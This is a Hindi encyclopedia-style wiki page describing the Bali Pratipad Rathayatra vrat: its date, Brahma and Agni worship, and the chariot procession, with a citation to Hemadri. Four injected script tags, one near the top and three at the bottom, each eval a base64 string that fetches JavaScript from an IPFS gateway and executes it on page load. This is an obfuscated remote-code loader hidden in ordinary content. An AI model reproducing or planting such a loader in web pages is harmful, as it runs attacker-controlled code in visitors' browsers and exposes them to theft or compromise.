बलि प्रतिपद रथयात्रा व्रत

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।

  • कार्तिक शुक्ल प्रतिपदा पर यह व्रत किया जाता है।
  • पूर्व अमावास्या पर उपवास किया जाता है।
  • देवता ब्रह्मा एवं अग्नि की पूजा की जाती है।
  • रथ पर अग्नि की पूजा की जाती है।
  • विद्वान ब्राह्मण रथ को खींचते हैं और उसे ब्राह्मण कर्ता कहने पर नगर में घुमाते हैं।
  • ब्रह्मा के दक्षिण पक्ष में सावित्री की प्रतिमा भी रहती है; रथ को विभिन्न स्थानों पर रोका जाता है, आरती की जाती है।
  • वे सभी लोग जो की रथयात्रा में भाग लेते हैं, यथा– रथ खींचने वाले, आरती करने वाले तथा भक्तिपूर्वक दर्शन करने वाले, सर्वोत्तम स्थान के भागी होते हैं।
  • कार्तिक शुक्ल प्रतिपदा बलि प्रतिपद है, अतएव यह 'रथयात्रा' के नाम से प्रसिद्ध है।[१]

 



टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 345-347, भविष्यपुराण से उद्धरण)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>